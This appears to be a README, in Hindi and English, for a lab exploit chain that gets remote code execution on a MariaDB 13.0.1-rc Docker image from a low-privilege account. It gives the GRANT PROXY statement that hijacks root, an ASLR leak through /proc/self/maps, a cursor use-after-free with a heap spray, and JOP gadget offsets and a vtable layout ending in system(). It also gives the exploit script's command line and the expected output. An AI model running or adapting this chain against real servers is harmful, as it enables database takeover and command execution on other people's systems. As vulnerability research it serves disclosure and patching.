
MariaDB 13.0.1-rc RCE प्रयोगशाला — priv-esc + heap UAF + JOP श्रृंखला जो स्टॉक Docker इमेज पर uid 999(mysql) के रूप में system() तक जाती है। RAPTOR और raptor-loop-hunt के साथ पाया गया।
अपरिवर्तित, स्टॉक MariaDB 13.0.1-rc Docker इमेज पर uid 999 (mysql) के रूप में रिमोट कोड निष्पादन।
दो एक्सप्लॉइट वेरिएंट:
| वेरिएंट | फ़ाइल | आवश्यकताएँ | टिप्पणियाँ |
|---|---|---|---|
| शुद्ध SQL (अनुशंसित) | exploit_pure_sql.py | एक low-priv MariaDB खाता + TCP | कोई होस्ट एक्सेस नहीं, कोई docker नहीं, कोई /proc/mem नहीं, कोई रूट पासवर्ड नहीं |
| होस्ट-सहायता प्राप्त PoC | exploit.py | Docker होस्ट पर root | /proc/<pid>/mem के माध्यम से JOP चेन लिखता है |
इस पर परीक्षित और सिद्ध: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 रन, प्रत्येक ताज़ा ASLR बेस के साथ)।
exploit_pure_sql.py)हमलावर के पास केवल होता है:
lowpriv उपयोगकर्ता) + उसका पासवर्ड, औरपूरी श्रृंखला SQL स्टेटमेंट के रूप में निष्पादित होती है; कोई होस्ट-साइड प्रोसेस एक्सेस नहीं, कोई docker कमांड नहीं, कोई ज्ञात पता नहीं। हर रनटाइम पता लक्ष्य से ही SQL के माध्यम से प्राप्त किया जाता है:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
बचे हुए एकमात्र गैर-SQL ऑपरेशन पोस्ट-एक्सप्लॉइट हाउसकीपिंग हैं: (पहले ही क्रैश हो चुके) कंटेनर को पुनः प्रारंभ करना और मार्कर फ़ाइल प्रदर्शित करना - वे एक्सप्लॉइटेशन का हिस्सा नहीं हैं।
| पुराना हेल्पर (exploit.py) | शुद्ध-SQL प्रतिस्थापन |
|---|---|
docker inspect → PID + host-side /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
JOP चेन के लिए होस्ट-साइड /proc/<pid>/mem लेखन | लेआउट आवंटन के समय CONCAT/UNHEX के माध्यम से एम्बेड किया गया; पता SQL-साइड maps diff से; mmap स्लॉट पुन: उपयोग से self-reference मान्य रहता है |
docker exec ... echo CMD > /tmp/payload_cmd.sh | कमांड स्ट्रिंग सीधे JOP लेआउट में एम्बेड की गई |
mariadb -uroot -plabpass (root पासवर्ड) | low-priv खाते से GRANT PROXY एस्केलेशन |
docker exec ... cat MARKER | केवल प्रमाण प्रदर्शित करने के लिए उपयोग किया जाता है |
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
इसके लिए केवल एक mariadb/mysql क्लाइंट और Python 3 की आवश्यकता होती है। --container का उपयोग अंतिम मार्कर प्रदर्शन (restart + cat) के लिए किया जाता है और यदि मार्कर किसी अन्य तरीके से सत्यापित किया जाता है तो इसे हटाया जा सकता है।
आउटपुट के अपेक्षित अंतिम भाग:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' सभी विशेषाधिकार जाँचों को बायपास करता है। खाली प्रमाणीकरण खंड LEX_USER::has_auth() को false लौटाने पर मजबूर करता है (check_alter_user() को छोड़ते हुए), जबकि replace_user_table() फिर भी खाली पासवर्ड लागू करता है — root की साख को बदल देता है। एक SQL स्टेटमेंट, कोई भी प्रमाणित उपयोगकर्ता, हर जारी MariaDB संस्करण।
/proc/self/maps के माध्यम से ASLR को पराजित करनाLOAD DATA INFILE '/proc/self/maps' SQL के भीतर से mariadbd प्रक्रिया का पूरा मेमोरी लेआउट पढ़ता है, जिससे PIE बेस और libc बेस पते उजागर होते हैं। स्टॉक इमेज पर secure_file_priv = NULL (unset) के साथ काम करता है।
sp_cursor_array::get_cursor_by_ref() एक Dynamic_array के भीतर का इंटीरियर पॉइंटर लौटाता है, जिसकी बैकिंग स्टोरेज बढ़ने पर my_realloc द्वारा स्थानांतरित हो जाती है। जब किसी कर्सर की open() विधि हमलावर-नियंत्रित SQL चलाती है जो अतिरिक्त कर्सर खोलती है, तो ऐरे बढ़ती है, पुरानी स्टोरेज मुक्त हो जाती है, और कॉलर का कैश्ड पॉइंटर डैंगलिंग हो जाता है।
मुक्त किया गया चंक (16 कर्सर x 112 बाइट्स = 1792 बाइट्स) 128 उपयोगकर्ता-चर प्रतियों के heap spray द्वारा पुनः प्राप्त किया जाता है, प्रत्येक 1784 बाइट्स (glibc चंक के लिए exact-fit)। Spray पेलोड ऑफसेट 0x20 पर एक नियंत्रित vtable पॉइंटर रखता है (sp_cursor का result सदस्य), जिसका उपयोग बाद में वर्चुअल डिस्पैच के लिए किया जाता है:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
स्टॉक mariadbd बाइनरी से दो JOP गैजेट (कोई ROP नहीं, कोई stack pivot नहीं):
| गैजेट | ऑफसेट | इंस्ट्रक्शन | उद्देश्य |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | स्टैक संरेखण फिक्स |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] | cmd ptr लोड करें, system() कॉल करें |
नकली vtable V 128 MiB बफर में रहती है; लेआउट:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
बफर का पता जानने से पहले self-referential JOP डेटा लिखने की चिकन-एंड-एग समस्या glibc के mmap व्यवहार द्वारा हल हो जाती है:
/proc/self/maps diff के माध्यम से मिलता है/proc/self/maps को पुनः पढ़कर सत्यापित किया जाता है; यदि पता कभी
बदल जाए, तो self-reference को दोबारा बेक किया जाता है और लेखन पुनः प्रयास किया जाता है (व्यवहार में एक पुनरावृत्ति में अभिसरित होता है)